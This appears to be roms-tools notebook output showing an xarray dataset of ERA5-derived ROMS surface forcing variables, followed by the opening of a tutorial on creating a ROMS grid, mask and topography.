class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>abs_time</span></div><div class='xr-var-dims'>(time)</div><div class='xr-var-dtype'>datetime64[ns]</div><div class='xr-var-preview xr-preview'>2012-01-15 ... 2012-02-05</div><input id='attrs-3e4e409f-5f2f-4dad-a418-a3c2428a62fe' class='xr-var-attrs-in' type='checkbox' disabled><label for='attrs-3e4e409f-5f2f-4dad-a418-a3c2428a62fe' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-10dfb0ea-2a66-4935-afb7-f886e3468b72' class='xr-var-data-in' type='checkbox'><label for='data-10dfb0ea-2a66-4935-afb7-f886e3468b72' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'></dl></div><div class='xr-var-data'><pre>array([&#x27;2012-01-15T00:00:00.000000000&#x27;, &#x27;2012-01-15T01:00:00.000000000&#x27;,\n", " &#x27;2012-01-15T02:00:00.000000000&#x27;, ..., &#x27;2012-02-04T22:00:00.000000000&#x27;,\n", " &#x27;2012-02-04T23:00:00.000000000&#x27;, &#x27;2012-02-05T00:00:00.000000000&#x27;],\n", " dtype=&#x27;datetime64[ns]&#x27;)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span class='xr-has-index'>time</span></div><div class='xr-var-dims'>(time)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>4.397e+03 4.397e+03 ... 4.418e+03</div><input id='attrs-58e086f4-0854-42b2-87b4-49d4951f2fef' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-58e086f4-0854-42b2-87b4-49d4951f2fef' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-30b903fd-2d9c-48e7-9757-730588a1d562' class='xr-var-data-in' type='checkbox'><label for='data-30b903fd-2d9c-48e7-9757-730588a1d562' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>days since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>days</dd></dl></div><div class='xr-var-data'><pre>array([4397. , 4397.041667, 4397.083333, ..., 4417.916667, 4417.958333,\n", " 4418. ])</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-d7beffad-7eb8-4517-a521-47d5ec6b3920' class='xr-section-summary-in' type='checkbox' checked><label for='section-d7beffad-7eb8-4517-a521-47d5ec6b3920' class='xr-section-summary' >Data variables: <span>(7)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>uwnd</span></div><div class='xr-var-dims'>(time, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-e6910852-cc89-4347-bfbe-e32f3e8fb27d' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-e6910852-cc89-4347-bfbe-e32f3e8fb27d' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-3c0419df-1ac8-4c2c-b1e9-b034a1224c42' class='xr-var-data-in' type='checkbox'><label for='data-3c0419df-1ac8-4c2c-b1e9-b034a1224c42' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>10 meter wind in x-direction</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 153 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"172\" height=\"162\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"80\" y2=\"70\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"42\" x2=\"80\" y2=\"112\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"42\" style=\"stroke-width:2\" />\n", " <line x1=\"13\" y1=\"3\" x2=\"13\" y2=\"45\" />\n", " <line x1=\"17\" y1=\"7\" x2=\"17\" y2=\"49\" />\n", " <line x1=\"21\" y1=\"11\" x2=\"21\" y2=\"53\" />\n", " <line x1=\"24\" y1=\"14\" x2=\"24\" y2=\"56\" />\n", " <line x1=\"28\" y1=\"18\" x2=\"28\" y2=\"60\" />\n", " <line x1=\"32\" y1=\"22\" x2=\"32\" y2=\"64\" />\n", " <line x1=\"35\" y1=\"25\" x2=\"35\" y2=\"68\" />\n", " <line x1=\"39\" y1=\"29\" x2=\"39\" y2=\"71\" />\n", " <line x1=\"43\" y1=\"33\" x2=\"43\" y2=\"75\" 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80.58823529411765,112.63965770603622\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"101.613947\" y=\"132.639658\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"142.639658\" y=\"91.613947\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,142.639658,91.613947)\">102</text>\n", " <text x=\"35.294118\" y=\"97.345540\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,35.294118,97.345540)\">505</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>vwnd</span></div><div class='xr-var-dims'>(time, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-734490b5-47d0-45c0-9158-476e091f99b0' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-734490b5-47d0-45c0-9158-476e091f99b0' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-4ec2414e-1aad-41bf-82fb-d51ebdcc3c1d' class='xr-var-data-in' type='checkbox'><label for='data-4ec2414e-1aad-41bf-82fb-d51ebdcc3c1d' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>10 meter wind in y-direction</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 153 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"172\" height=\"162\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"80\" y2=\"70\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"42\" x2=\"80\" y2=\"112\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"42\" style=\"stroke-width:2\" />\n", " <line x1=\"13\" y1=\"3\" x2=\"13\" y2=\"45\" />\n", " <line x1=\"17\" y1=\"7\" x2=\"17\" y2=\"49\" />\n", " <line x1=\"21\" y1=\"11\" x2=\"21\" y2=\"53\" />\n", " <line x1=\"24\" y1=\"14\" x2=\"24\" y2=\"56\" />\n", " <line x1=\"28\" y1=\"18\" x2=\"28\" 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x2=\"122\" y2=\"112\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"80.58823529411765,70.58823529411765 122.63965770603622,70.58823529411765 122.63965770603622,112.63965770603622 80.58823529411765,112.63965770603622\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"101.613947\" y=\"132.639658\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"142.639658\" y=\"91.613947\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,142.639658,91.613947)\">102</text>\n", " <text x=\"35.294118\" y=\"97.345540\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,35.294118,97.345540)\">505</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>swrad</span></div><div class='xr-var-dims'>(time, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-8e3bae42-f0b6-459c-bf66-4b7f41e81b1e' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-8e3bae42-f0b6-459c-bf66-4b7f41e81b1e' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-22a417c6-1439-4d50-adb2-08440ec9b9d7' class='xr-var-data-in' type='checkbox'><label for='data-22a417c6-1439-4d50-adb2-08440ec9b9d7' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>downward short-wave (solar) radiation</dd><dt><span>units :</span></dt><dd>W/m^2</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 145 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"172\" height=\"162\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"80\" y2=\"70\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"42\" x2=\"80\" y2=\"112\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"42\" style=\"stroke-width:2\" />\n", " <line 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:</span></dt><dd>downward long-wave (thermal) radiation</dd><dt><span>units :</span></dt><dd>W/m^2</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 99 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"172\" height=\"162\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" 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for='data-3d165d4d-2e8c-4275-98bf-c56e34b41410' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>air temperature at 2m</dd><dt><span>units :</span></dt><dd>degrees Celsius</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 99 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"172\" height=\"162\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"80\" y2=\"70\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"42\" x2=\"80\" y2=\"112\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"42\" style=\"stroke-width:2\" />\n", " <line x1=\"13\" y1=\"3\" x2=\"13\" y2=\"45\" />\n", " <line x1=\"17\" y1=\"7\" x2=\"17\" y2=\"49\" />\n", " <line x1=\"21\" y1=\"11\" x2=\"21\" y2=\"53\" />\n", " <line x1=\"24\" y1=\"14\" x2=\"24\" y2=\"56\" />\n", " <line x1=\"28\" y1=\"18\" x2=\"28\" y2=\"60\" />\n", " <line x1=\"32\" y1=\"22\" x2=\"32\" y2=\"64\" />\n", " <line x1=\"35\" y1=\"25\" x2=\"35\" y2=\"68\" />\n", " <line x1=\"39\" y1=\"29\" x2=\"39\" y2=\"71\" />\n", " <line x1=\"43\" y1=\"33\" x2=\"43\" y2=\"75\" />\n", " <line x1=\"47\" y1=\"37\" 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title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-4dfbfea0-a11e-4015-bd2d-bc1594a598a4' class='xr-var-data-in' type='checkbox'><label for='data-4dfbfea0-a11e-4015-bd2d-bc1594a598a4' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>absolute humidity at 2m</dd><dt><span>units :</span></dt><dd>kg/kg</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 150 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"172\" height=\"162\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"80\" y2=\"70\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"42\" x2=\"80\" y2=\"112\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"42\" style=\"stroke-width:2\" />\n", " <line x1=\"13\" y1=\"3\" x2=\"13\" y2=\"45\" />\n", " <line x1=\"17\" y1=\"7\" x2=\"17\" y2=\"49\" />\n", " <line x1=\"21\" y1=\"11\" x2=\"21\" y2=\"53\" />\n", " <line x1=\"24\" y1=\"14\" x2=\"24\" y2=\"56\" />\n", " <line x1=\"28\" y1=\"18\" x2=\"28\" y2=\"60\" />\n", " <line x1=\"32\" y1=\"22\" x2=\"32\" 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102, 102), meta=np.ndarray&gt;</div><input id='attrs-212d7e29-0b3a-4ead-abb4-7642209fe87f' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-212d7e29-0b3a-4ead-abb4-7642209fe87f' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-b74b8e76-9480-4894-8b05-ce12851796ed' class='xr-var-data-in' type='checkbox'><label for='data-b74b8e76-9480-4894-8b05-ce12851796ed' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>total precipitation</dd><dt><span>units :</span></dt><dd>cm/day</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 99 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"172\" height=\"162\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"80\" y2=\"70\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"42\" x2=\"80\" y2=\"112\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"42\" style=\"stroke-width:2\" />\n", " <line x1=\"13\" y1=\"3\" x2=\"13\" y2=\"45\" />\n", " <line x1=\"17\" y1=\"7\" x2=\"17\" y2=\"49\" />\n", " <line x1=\"21\" y1=\"11\" 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<line x1=\"80\" y1=\"70\" x2=\"80\" y2=\"112\" style=\"stroke-width:2\" />\n", " <line x1=\"122\" y1=\"70\" x2=\"122\" y2=\"112\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"80.58823529411765,70.58823529411765 122.63965770603622,70.58823529411765 122.63965770603622,112.63965770603622 80.58823529411765,112.63965770603622\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"101.613947\" y=\"132.639658\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"142.639658\" y=\"91.613947\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,142.639658,91.613947)\">102</text>\n", " <text x=\"35.294118\" y=\"97.345540\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,35.294118,97.345540)\">505</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li></ul></div></li><li class='xr-section-item'><input id='section-201bb4e9-cd60-4c18-acd7-be9b5b51dd7c' class='xr-section-summary-in' type='checkbox' ><label for='section-201bb4e9-cd60-4c18-acd7-be9b5b51dd7c' class='xr-section-summary' >Indexes: <span>(1)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-index-name'><div>time</div></div><div class='xr-index-preview'>PandasIndex</div><div></div><input id='index-6f25b767-0c1d-4c39-981e-a4e24b47f3d8' class='xr-index-data-in' type='checkbox'/><label for='index-6f25b767-0c1d-4c39-981e-a4e24b47f3d8' title='Show/Hide index repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-index-data'><pre>PandasIndex(Index([ 4397.0, 4397.041666666667, 4397.083333333334,\n", " 4397.125, 4397.166666666667, 4397.208333333334,\n", " 4397.25, 4397.291666666667, 4397.333333333334,\n", " 4397.375,\n", " ...\n", " 4417.625, 4417.666666666667, 4417.708333333333,\n", " 4417.75, 4417.791666666667, 4417.833333333333,\n", " 4417.875, 4417.916666666667, 4417.958333333333,\n", " 4418.0],\n", " dtype=&#x27;float64&#x27;, name=&#x27;time&#x27;, length=505))</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-42c75b03-5ad4-434e-b771-f9497fade760' class='xr-section-summary-in' type='checkbox' checked><label for='section-42c75b03-5ad4-434e-b771-f9497fade760' class='xr-section-summary' >Attributes: <span>(9)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'><dt><span>title :</span></dt><dd>ROMS surface forcing file created by ROMS-Tools</dd><dt><span>roms_tools_version :</span></dt><dd>0.1.dev138+dirty</dd><dt><span>start_time :</span></dt><dd>2012-01-15 00:00:00</dd><dt><span>end_time :</span></dt><dd>2012-02-05 00:00:00</dd><dt><span>source :</span></dt><dd>ERA5</dd><dt><span>correct_radiation :</span></dt><dd>True</dd><dt><span>use_coarse_grid :</span></dt><dd>False</dd><dt><span>model_reference_date :</span></dt><dd>2000-01-01 00:00:00</dd><dt><span>type :</span></dt><dd>physics</dd></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.Dataset> Size: 147MB\n", "Dimensions: (time: 505, eta_rho: 102, xi_rho: 102)\n", "Coordinates:\n", " abs_time (time) datetime64[ns] 4kB 2012-01-15 ... 2012-02-05\n", " * time (time) float64 4kB 4.397e+03 4.397e+03 ... 4.418e+03 4.418e+03\n", "Dimensions without coordinates: eta_rho, xi_rho\n", "Data variables:\n", " uwnd (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " vwnd (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " swrad (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " lwrad (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " Tair (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " qair (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " rain (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", "Attributes:\n", " title: ROMS surface forcing file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " start_time: 2012-01-15 00:00:00\n", " end_time: 2012-02-05 00:00:00\n", " source: ERA5\n", " correct_radiation: True\n", " use_coarse_grid: False\n", " model_reference_date: 2000-01-01 00:00:00\n", " type: physics" ] }, "execution_count": 30, "metadata": {}, "output_type": "execute_result" } ], "source": [ "the_same_corrected_surface_forcing.ds" ] }, { "cell_type": "code", "execution_count": null, "id": "c9dde1bb-faf3-4549-9489-5bd784a46285", "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "romstools", "language": "python", "name": "romstools" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.12.5" } }, "nbformat": 4, "nbformat_minor": 5 }
1,316,853
Python
.py
8,359
149.912549
213,854
0.788686
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,732
grid.ipynb
CWorthy-ocean_roms-tools/docs/grid.ipynb
{ "cells": [ { "cell_type": "markdown", "id": "ce8e1e7c-bc05-435a-ab05-68e03a5866a4", "metadata": {}, "source": [ "# Creating the grid, mask, and topography" ] }, { "cell_type": "markdown", "id": "60bb804f-c1ad-4a29-9983-016c9ba51921", "metadata": {}, "source": [ "## The Grid object" ] }, { "cell_type": "code", "execution_count": 1, "id": "379dbc3a-2f88-4524-83c0-bd672c27e049", "metadata": { "tags": [] }, "outputs": [], "source": [ "from roms_tools import Grid" ] }, { "cell_type": "markdown", "id": "9fe13d86-db59-4ce3-9a5a-3e5c594012fe", "metadata": {}, "source": [ "We can create a ROMS grid, mask, and topography by creating an instance of the `Grid` class." ] }, { "cell_type": "code", "execution_count": 2, "id": "93596aca-7ee2-4757-8383-bc09267eec6e", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "CPU times: user 1.96 s, sys: 258 ms, total: 2.22 s\n", "Wall time: 3.71 s\n" ] } ], "source": [ "%%time\n", "\n", "grid = Grid(\n", " nx=100, # number of points in the x-direction (not including 2 boundary cells on either end)\n", " ny=100, # number of points in the y-direction (not including 2 boundary cells on either end)\n", " size_x=1800, # size of the domain in the x-direction (in km)\n", " size_y=2400, # size of the domain in the y-direction (in km)\n", " center_lon=-10, # longitude of the center of the domain\n", " center_lat=61, # latitude of the center of the domain\n", " rot=20, # rotation of the grid's x-direction from lines of constant longitude, with positive values being a counter-clockwise rotation\n", ")" ] }, { "cell_type": "markdown", "id": "7acf2922-adf4-434b-987c-595dd8f5d55e", "metadata": {}, "source": [ "To visualize the grid we have just created, we can use the `.plot` method." ] }, { "cell_type": "code", "execution_count": 3, "id": "9d3ad4a7-b383-490b-b38b-6824464f599b", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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GA4rCyH07WbhxObN/XUdwc6Nt1fYBQ/hu8jxWjp9OfWAw5+obiFIUMFrXy4pjFq/TYdHqXK+ULSC6qcTy4+yzuOibT5j422aC63s+yzIpKYn169djMpmOKz73VCEsLIz4+HhycnK6tOZdRUUF1113HVOmTEEURZsV/fvvv2fLli0sWLCAuLg4amtr2z0stBIUFMTAgQM5ePAgt99+O2+++SaPPfZYl82xdyPS/ZFkPi+ep5zSom/v3r1ERUWd9u3WWjl8+DCiKNpqmnU1BQUF5OTkUFFRwSeffEJAQADp6ekMGTKE++67j/379/PAAw9w/vnn09zc7FFnDEEQeOCBB7j++ut5//33Oy3e6+rqTpu6ZidDIod9PT17EipLOWfTcs7ZtILEw22FuUv6xPL95Ll8P2kOhbFJQJsFr0LWkCKpP0C4E3oWGSSV+4WiKGg0bfvlp6SxPyWNtIP7mbF+FdODQ3rU2hcSEkJwcDClpaU+q9ExMjIyWL16NTU1Naoxdt5w5MgRrrjiCl588UUyMjL46KOPMJvN1NTUMHr0aFpaWoiNjSUjI4Nly5a5PVZ6ejp5eXkMHjxYNa7vyJEjxz1nHz7cccqKvoaGBl+7NSda2651pdXTaDTy97//nZ07d5KcnExGRgbNzc3Mnz+frVu3YjAY2LhxIx9++CHnnXceqampfPnll5jNZo8zqWfMmEFubi733XcfjzzyiNdWDZPJhMFgOC0yd3sz9p0x7AlqamD2L+s4e9Nyzti707a80c+flWOn8+3keWwbNAxFJSShXJaYoDU4LJMV0KkIPfcuX3WBCLBi5lmkvfUyc1f/wDdn92y9PrDGvhYXF/tE3zH8/f1JTU1lz549TJo06biudaWlpZx33nm8+uqrZGRkANi6B7W2f7vllltYtGgRGRkZPPLII27HGzlyJN9//z2DBg1qd+0zmUzk5OSQm5vb6fn2VnwlW3oXp6zoy87OJikp6bSJ4+oIs9lMWVlZu3IDx4tGo+HAgQNccsklKIrCV199RUhICAsXLuSpp57i6NGjmM1mMjMzAat